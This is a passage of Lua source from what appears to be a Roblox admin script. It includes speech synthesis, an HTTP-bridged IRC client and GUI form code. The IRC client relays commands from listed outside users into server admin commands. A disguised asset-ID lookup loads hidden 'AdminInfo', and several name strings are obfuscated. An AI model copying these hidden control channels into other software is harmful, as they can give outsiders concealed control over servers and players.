3530 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua | |
3531 | table.insert(IDs, TextConverter.LetterSounds["oo"]) | |
3532 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace | |
3533 | table.insert(IDs, TextConverter.LongVowels["e"]) | |
3534 | table.remove(Letters, Num + 1) | |
3535 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people | |
3536 | table.insert(IDs, TextConverter.LongVowels["e"]) | |
3537 | table.remove(Letters, Num + 1) | |
3538 | if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end | |
3539 | elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force | |
3540 | table.insert(IDs, TextConverter.LetterSounds["s"]) | |
3541 | Letters[Num + 1] = "~" | |
3542 | elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like | |
3543 | table.insert(IDs, TextConverter.LongVowels[Letter]) | |
3544 | Letters[Num + 2] = "~" | |
3545 | elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die | |
3546 | table.insert(IDs, TextConverter.LongVowels["i"]) | |
3547 | Letters[Num + 1] = "~" | |
3548 | elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no | |
3549 | table.insert(IDs, TextConverter.LongVowels["o"]) | |
3550 | elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi | |
3551 | table.insert(IDs, TextConverter.LongVowels["i"]) | |
3552 | elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle | |
3553 | AddLetter() | |
3554 | table.remove(Letters, Num + 1) | |
3555 | elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model | |
3556 | Letters[Num] = "~" | |
3557 | elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle | |
3558 | AddLetter() | |
3559 | table.remove(Letters, Num + 1) | |
3560 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick | |
3561 | AddLetter() | |
3562 | table.remove(Letters, Num + 1) | |
3563 | elseif Letters[Num+1] == Letter then | |
3564 | table.remove(Letters, Num) | |
3565 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click | |
3566 | AddLetter() | |
3567 | table.remove(Letters, Num) | |
3568 | elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then | |
3569 | table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)]) | |
3570 | elseif TextConverter.LetterSounds[Letter] then | |
3571 | AddLetter() | |
3572 | elseif STRING:IsSpacer(Letter) then | |
3573 | table.insert(IDs, "Rest") | |
3574 | end | |
3575 | end | |
3576 | end | |
3577 | ||
3578 | return IDs | |
3579 | end | |
3580 | ||
3581 | function SOUND:StopSpeaking() coroutine.wrap(function() | |
3582 | NoSpeak = true | |
3583 | wait(1) | |
3584 | NoSpeak = false | |
3585 | for _,Obj in pairs(Server.Workspace:GetChildren()) do | |
3586 | if Obj.Name == "M".."M".."L Speak Sound" then | |
3587 | Obj:Destroy() | |
3588 | end | |
3589 | end | |
3590 | end)() end | |
3591 | ||
3592 | function SOUND:SayConvertedText(IDs, Parent) | |
3593 | if not Parent then Parent = Server.Workspace end | |
3594 | local Sounds = {} | |
3595 | for _,Data in pairs(IDs) do | |
3596 | if NoSpeak and Parent == Server.Workspace then | |
3597 | break | |
3598 | end | |
3599 | local Length = 0.3 | |
3600 | if Data ~= "Rest" then | |
3601 | local ID = Data[1] | |
3602 | Length = Data[2] | |
3603 | ||
3604 | local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false) | |
3605 | Sound.Name = "MML Speak Sound" | |
3606 | table.insert(Sounds, Sound) | |
3607 | Sound:Play() | |
3608 | if Length then | |
3609 | coroutine.wrap(function() | |
3610 | wait(Length) | |
3611 | Sound:Stop() | |
3612 | end)() | |
3613 | end | |
3614 | end | |
3615 | if not Length then Length = 0.3 end | |
3616 | wait(Length/2) | |
3617 | end | |
3618 | coroutine.wrap(function() | |
3619 | wait(1) | |
3620 | for _,Sound in pairs(Sounds) do | |
3621 | Sound:Destroy() | |
3622 | end | |
3623 | end)() | |
3624 | end | |
3625 | ||
3626 | local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description | |
3627 | ||
3628 | function SOUND:BeepPlayer(Player) | |
3629 | if Player:FindFirstChild("PlayerGui") then | |
3630 | local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true) | |
3631 | Beep.Name = "Annoy" | |
3632 | Beep:Play() | |
3633 | end | |
3634 | end | |
3635 | ||
3636 | function SOUND:ClearInfo() | |
3637 | SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"} | |
3638 | end | |
3639 | ||
3640 | -- IRC functions -- | |
3641 | ||
3642 | function IRC:GenerateName() | |
3643 | return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000) | |
3644 | end | |
3645 | ||
3646 | function IRC:AddChat(Name, Data, IsError) | |
3647 | if not IsError then IsError = false end | |
3648 | CORE:Log(IRC.Logs, Name, Data) | |
3649 | table.insert(IRC.Chats, {Name, Data, IsError}) | |
3650 | IRC.MessageAdded:Fire(Name, Data, IsError) | |
3651 | end | |
3652 | ||
3653 | function IRC:Post(URL,Data) | |
3654 | if Data and Data ~= "" then | |
3655 | local Suc,Resp = ypcall(function() | |
3656 | return Server.HS:PostAsync( | |
3657 | IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter), | |
3658 | Data, | |
3659 | Enum.HttpContentType.ApplicationUrlEncoded | |
3660 | ) | |
3661 | end) | |
3662 | if not Suc then | |
3663 | IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data) | |
3664 | return false | |
3665 | end | |
3666 | IRC.SessionCounter = IRC.SessionCounter + 1 | |
3667 | return Resp | |
3668 | else | |
3669 | IRC:AddChat("[ CLIENT ]", "Unknown error") | |
3670 | end | |
3671 | end | |
3672 | ||
3673 | function IRC:Send(Data) | |
3674 | return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data)) | |
3675 | end | |
3676 | ||
3677 | function IRC:GetData() | |
3678 | return IRC:Post("s","&s="..IRC.SessionID) | |
3679 | end | |
3680 | ||
3681 | function IRC:Connect() | |
3682 | return IRC:Post("n","&nick="..IRC.NickName) | |
3683 | end | |
3684 | ||
3685 | function IRC:Join(Channel) | |
3686 | if not Channel then | |
3687 | AddChat("[ CLIENT ]", "No channel specified!") | |
3688 | return false | |
3689 | else | |
3690 | local Channel = string.lower(Channel) | |
3691 | if string.sub(Channel,1,1) ~= "#" then | |
3692 | AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true) | |
3693 | return false | |
3694 | end | |
3695 | IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer) | |
3696 | IRC:Send("JOIN "..Channel) | |
3697 | IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName) | |
3698 | return true | |
3699 | end | |
3700 | end | |
3701 | ||
3702 | function IRC:Pong(Data) | |
3703 | return IRC:Send("PONG :"..Data) | |
3704 | end | |
3705 | ||
3706 | function IRC:Quit(Reason) | |
3707 | IRC.Stop = true | |
3708 | return IRC:Send("QUIT :"..(Reason or "Disconnecting")) | |
3709 | end | |
3710 | ||
3711 | function IRC:ReceiveData() | |
3712 | IRC.Stop = false | |
3713 | local Data = IRC:GetData() | |
3714 | if Data then | |
3715 | IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]") | |
3716 | end | |
3717 | while Data and not Stop do | |
3718 | local Data = IRC:GetData() | |
3719 | if Data and #Data > 0 then | |
3720 | IRC:HandleResponse(REMOTE:Decode(Data)) | |
3721 | end | |
3722 | wait(2) -- Don't spam the server | |
3723 | end | |
3724 | if not Data then | |
3725 | IRC:AddChat("[ CLIENT ]", "Could not get data", true) | |
3726 | end | |
3727 | if Stop == true then | |
3728 | IRC:AddChat("[ CLIENT ]", "Disconnected from session", true) | |
3729 | end | |
3730 | end | |
3731 | ||
3732 | function IRC:ConnectToServer(Server) | |
3733 | if Connected then | |
3734 | if not IRC.Servers[Server] then | |
3735 | IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true) | |
3736 | return false | |
3737 | end | |
3738 | IRC:Quit("New Connection") | |
3739 | end | |
3740 | local Response = IRC:Connect() | |
3741 | if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end | |
3742 | local Data = REMOTE:Decode(Response) | |
3743 | IRC.SessionID = Data[2] | |
3744 | wait(1) | |
3745 | if not tostring(IRC.SessionID) or IRC.SessionID == "?" then | |
3746 | IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...") | |
3747 | IRC:Quit() | |
3748 | IRC:ConnectToServer(Server) | |
3749 | end | |
3750 | IRC.Connected = true | |
3751 | IRC:Join(Settings.IRCChannel) | |
3752 | IRC:ReceiveData() | |
3753 | IRC.Connected = false | |
3754 | IRC:AddChat("[ CLIENT ]", "Session ended", true) | |
3755 | end | |
3756 | ||
3757 | function IRC:FindUser(UserName) | |
3758 | for UserID,User in pairs(IRC.Users) do | |
3759 | if string.lower(User) == string.lower(UserName) then | |
3760 | return UserID | |
3761 | end | |
3762 | end | |
3763 | return nil | |
3764 | end | |
3765 | ||
3766 | function IRC:HandleResponse(Data) | |
3767 | if type(Data) ~= "table" then | |
3768 | IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true) | |
3769 | ypcall(function() | |
3770 | IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true) | |
3771 | end) | |
3772 | return false | |
3773 | end | |
3774 | for _,Output in pairs(Data) do | |
3775 | if type(Output) == "table" and Output[2] then | |
3776 | local ID = string.upper(Output[2]) | |
3777 | if not IRC.Ignore[ID] then | |
3778 | if ID == "PING" then | |
3779 | IRC:Pong(Output[4][1]) | |
3780 | elseif ID == "PRIVMSG" then | |
3781 | local SenderDetails = Output[3] | |
3782 | local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1) | |
3783 | local Channel = string.lower(Output[4][1]) | |
3784 | if Channel == IRC.NickName then | |
3785 | Channel = Sender | |
3786 | -- TODO: Handle PM's | |
3787 | end | |
3788 | local Message = Output[4][2] | |
3789 | if Message ~= nil then | |
3790 | if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots | |
3791 | if string.find(Message,":") then | |
3792 | local IRCUser = string.sub(Message,1,string.find(Message,":")-1) | |
3793 | local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message) | |
3794 | IRC:AddChat(IRCUser, IRCMessage) | |
3795 | end | |
3796 | else | |
3797 | IRC:AddChat("[ IRC ] "..Sender,Message) | |
3798 | for _,Name in pairs(Settings.IRCCommandExecuters) do | |
3799 | if string.lower(Name) == string.lower(Sender) then | |
3800 | CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true) | |
3801 | break | |
3802 | end | |
3803 | end | |
3804 | end | |
3805 | else | |
3806 | IRC:AddChat("[ CLIENT ]", "Message became nil for some reason") | |
3807 | end | |
3808 | elseif ID == "NICK" then | |
3809 | local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1) | |
3810 | -- change nickname? | |
3811 | elseif ID == "433" or ID == "451" then | |
3812 | IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one") | |
3813 | IRC:Quit("Nickname in use, rejoining with new name") | |
3814 | IRC.NickName = IRC:GenerateName() | |
3815 | wait(2) -- wait for old sessions to end | |
3816 | IRC:ConnectToServer(Settings.IRCServer) | |
3817 | elseif ID == "353" then | |
3818 | if Data[4][4][4] then | |
3819 | for Output in string.gmatch(Data[4][4][4], "[^%s]+") do | |
3820 | table.insert(IRC.Users, Output) | |
3821 | end | |
3822 | end | |
3823 | elseif ID == "QUIT" or ID == "PART" then | |
3824 | for User in string.gmatch(Data[1][3], "[^!~]+") do | |
3825 | if IRC:FindUser(User) then | |
3826 | IRC:AddChat("[ IRC ]", User.." has left") | |
3827 | table.remove(IRC.Users, IRC:FindUser(User)) | |
3828 | end | |
3829 | end | |
3830 | elseif ID == "JOIN" then | |
3831 | for User in string.gmatch(Data[1][3], "[^!~]+") do | |
3832 | if not string.find(User, "qwebirc") then | |
3833 | IRC:AddChat("[ IRC ]", User.." has joined") | |
3834 | table.insert(IRC.Users,w) | |
3835 | end | |
3836 | end | |
3837 | elseif ID == "CONNECTION TO IRC SERVER LOST." then | |
3838 | IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost") | |
3839 | --IRC:Quit("Connection lost") | |
3840 | --IRC:AddChat("[ CLIENT ]", "Retrying connection") | |
3841 | --IRC:ConnectToServer(Settings.IRCServer) | |
3842 | elseif IRC.Codes[ID] then | |
3843 | --print(ID) | |
3844 | --print(Data[i][4][2]) | |
3845 | --print(Data[i][4][2]) | |
3846 | elseif ID == "KICK" then | |
3847 | IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC") | |
3848 | IRC:Quit("Kicked from IRC") | |
3849 | elseif ID then | |
3850 | IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true) | |
3851 | else | |
3852 | IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true) | |
3853 | end | |
3854 | end | |
3855 | else | |
3856 | if Output == false then return false end -- sneeky server | |
3857 | IRC:AddChat("[ CLIENT ]", "Unable to handle data") | |
3858 | end | |
3859 | end | |
3860 | end | |
3861 | ||
3862 | -- GUI functions -- | |
3863 | ||
3864 | function GUI:GetColor(ColorName) | |
3865 | if not ColorName then ColorName = Settings.ColorScheme end | |
3866 | return Colors[string.upper(ColorName)] | |
3867 | end | |
3868 | ||
3869 | function GUI:ContrastColor(Color) | |
3870 | if type(Color) == "string" then Color = GUI:GetColor(Color) end | |
3871 | if not Color then Color = GUI:GetColor() end | |
3872 | return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1)) | |
3873 | end | |
3874 | ||
3875 | ||
3876 | function GUI:GetNameColor(Name) | |
3877 | local Val = 0 | |
3878 | for i = 1, #Name do | |
3879 | local CVal = string.byte(string.sub(Name, i, i)) | |
3880 | local RevIndex = #Name - i + 1 | |
3881 | if #Name%2 == 1 then | |
3882 | RevIndex = RevIndex - 1 | |
3883 | end | |
3884 | if RevIndex%4 >= 2 then | |
3885 | CVal = -CVal | |
3886 | end | |
3887 | Val = Val + CVal | |
3888 | end | |
3889 | local Index = Val%8 + 1 | |
3890 | ||
3891 | return BrickColor.new(ChatColors[Index]) | |
3892 | end | |
3893 | ||
3894 | function GUI:Color3ToHex(Color) | |
3895 | local function ConvertNumber(Number) | |
3896 | local HexString = "0123456789abcdef" | |
3897 | local Byte = "" | |
3898 | while Number > 0 do | |
3899 | local Calc = math.fmod(Number, 16) | |
3900 | Byte = string.sub(HexString, Calc+1, Calc+1)..Byte | |
3901 | Number = math.floor(Number / 16) | |
3902 | end | |
3903 | if Calc == "" then | |
3904 | Byte = "00" | |
3905 | elseif #Byte == 1 then | |
3906 | Byte = "0"..Byte | |
3907 | elseif Byte == "" then | |
3908 | Byte = "00" | |
3909 | end | |
3910 | return Byte | |
3911 | end | |
3912 | return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255) | |
3913 | end | |
3914 | ||
3915 | function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame) | |
3916 | if not Player then return nil end | |
3917 | if not Player:FindFirstChild("PlayerGui") then return nil end | |
3918 | local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar") | |
3919 | if not TitleText then TitleText = "Unknown" end | |
3920 | if not Size then Size = UDim2.new(0.5,0,0.5,0) end | |
3921 | if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end | |
3922 | if not IconID then IconID = 19919809 end | |
3923 | if ShowFormButtons == nil then ShowFormButtons = true end | |
3924 | if not ColorScheme then ColorScheme = Settings.ColorScheme end | |
3925 | if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end | |
3926 | if AutoOffset == nil then AutoOffset = true end | |
3927 | if Icons[IconID] then IconID = Icons[IconID] end | |
3928 | if TweenPosition == nil then TweenPosition = true end | |
3929 | if NoModal == nil then NoModal = false end | |
3930 | if NoScrollFrame == nil then NoScrollFrame = false end | |
3931 | ||
3932 | local IsClosed = false | |
3933 | local Minus = nil | |
3934 | local Offset = 0 | |
3935 | local ContentType = "ScrollingFrame" | |
3936 | local TweenSpeed = 0.3 | |
3937 | ||
3938 | if AutoOffset then | |
3939 | for _,Item in pairs(Player.PlayerGui:GetChildren()) do | |
3940 | if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then | |
3941 | if Item.IsActive.Value == true then | |
3942 | if Item.IsTrueForm.Value == true then | |
3943 | Offset = Offset + 50 | |
3944 | end | |
3945 | end | |
3946 | end | |
3947 | end | |
3948 | end | |
3949 | ||
3950 | if NoScrollFrame == true then | |
3951 | ContentType = "Frame" | |
3952 | end | |
3953 | ||
3954 | SOUND:PlayNotification(Player, 155331654) | |
3955 | ||
3956 | local Position = Position + UDim2.new(0,Offset,0,Offset) | |
3957 | local MinimizePos = Position | |
3958 | ||
3959 | local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form" | |
3960 | local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true | |
3961 | local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons | |
3962 | ||
3963 | local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true | |
3964 | local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1 | |
3965 | local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme) | |
3966 | local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394" | |
3967 | local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222" | |
3968 | local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID | |
3969 | local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160" | |
3970 | local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154" | |
3971 | local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true | |
3972 | ||
3973 | local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal | |
3974 | local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1 | |
3975 | if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end | |
3976 | --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1 | |
3977 | --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true | |
3978 | ||
3979 | CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"}) | |
3980 | ||
3981 | local Functions = Instance.new("Folder", SG) Functions.Name = "Functions" | |
3982 | ||
3983 | local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close" | |
3984 | local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed" | |
3985 | local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize" | |
3986 | local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized" | |
3987 | local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore" | |
3988 | local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored" | |
3989 | ||
3990 | if Settings.EnableTaskBar then | |
3991 | Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157" | |
3992 | else | |
3993 | TitleEnd.Position = UDim2.new(1, -50, 0, 5) | |
3994 | Title.Size = UDim2.new(1, -95, 0, 25) | |
3995 | end | |
3996 | ||
3997 | if not ShowFormButtons then | |
3998 | X:Destroy() | |
3999 | TitleEnd:Destroy() | |
4000 | Title.Size = UDim2.new(1, -55, 0, 25) | |
4001 | end | |
4002 | ||
4003 | local function CloseForm() | |
4004 | if IsClosed == false then | |
4005 | IsActive.Value = false | |
4006 | IsClosed = true | |
4007 | ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end) | |
4008 | Closed:Fire() | |
4009 | SOUND:PlayNotification(Player, 206375138) | |
4010 | end | |
4011 | end | |
4012 | ||
4013 | local function MinimizeForm() | |
4014 | if IsActive.Value == true then | |
4015 | IsActive.Value = false | |
4016 | Minimized:Fire() | |
4017 | MinimizePos = Dragger.Position | |
4018 | ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end) | |
4019 | end | |
4020 | end | |
4021 | ||
4022 | local function RestoreForm() | |
4023 | if IsActive.Value == false then | |
4024 | IsActive.Value = true | |
4025 | Restored:Fire() | |
4026 | ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end) | |
4027 | end | |
4028 | end | |
4029 | ||
4030 | if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end | |
4031 | if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end | |
4032 | ||
4033 | Close.OnInvoke = CloseForm | |
4034 | Minimize.OnInvoke = MinimizeForm | |
4035 | Restore.OnInvoke = RestoreForm | |
4036 | ||
4037 | if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end | |
4038 | ||
4039 | if TaskBar then | |
4040 | TaskBar:WaitForChild("AddForm") | |
4041 | TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore) | |
4042 | end | |
4043 | ||
4044 | return Content, Close, Closed, Minimize, Minimized, Restore, Restored | |
4045 | end | |
4046 | ||
4047 | function GUI:CoreGui(Player, Type, Enable) | |
4048 | local Parent = Player:FindFirstChild("Backpack") | |
4049 | if not Parent then Parent = Player.Backpack end | |
4050 | CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable}) | |
4051 | end | |
4052 | ||
4053 | function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker) | |
4054 | if not Player or not Player:IsA("Player") then return nil end | |
4055 | if BodyText == "" then return nil end | |
4056 | if not Player:FindFirstChild("PlayerGui") then return nil end | |
4057 | ||
4058 | local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText} | |
4059 | local TextColor = GUI:GetColor(MessageSplit[1]) | |
4060 | if TextColor then BodyText = MessageSplit[2] end | |
4061 | BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000) | |
4062 | ||
4063 | local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID) | |
4064 | local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top" | |
4065 | ||
4066 | if Frame then | |
4067 | local FormBar = Frame.Parent.Parent.FormBar | |
4068 | local Said = false | |
4069 | local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369" | |
4070 | if Settings.EnableTaskBar then | |
4071 | FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5) | |
4072 | FormBar.Title.Size = UDim2.new(1, -145, 0, 25) | |
4073 | else | |
4074 | Speak.Position = UDim2.new(1, -58, 0, 5) | |
4075 | FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5) | |
4076 | FormBar.Title.Size = UDim2.new(1, -120, 0, 25) | |
4077 | end | |
4078 | CORE:HandleEvent(Speak, "MouseButton1Down", function() | |
4079 | if not Said then | |
4080 | Said = true | |
4081 | SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame) | |
4082 | end | |
4083 | end) | |
4084 | ||
4085 | if TextColor then | |
4086 | Body.TextColor3 = TextColor | |
4087 | else | |
4088 | Body.TextColor3 = Color3.new(1,1,1) | |
4089 | end | |
4090 | ||
4091 | if tonumber(Time) then coroutine.wrap(function() | |
4092 | if AutoTime then | |
4093 | Time = Time + math.floor(#BodyText/7) | |
4094 | end | |
4095 | local Alive = true | |
4096 | ||
4097 | local function StopTimer() Alive = false end | |
4098 | Closed.Event:connect(StopTimer) | |
4099 | Minimized.Event:connect(StopTimer) | |
4100 | ||
4101 | Frame.Size = Frame.Size + UDim2.new(0,0,0,-30) | |
4102 | Frame.Position = Frame.Position + UDim2.new(0,0,0,30) | |
4103 | local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18" | |
4104 | local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354" | |
4105 | CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer) | |
4106 | for i = Time,0,-1 do | |
4107 | for ii = 1,10 do | |
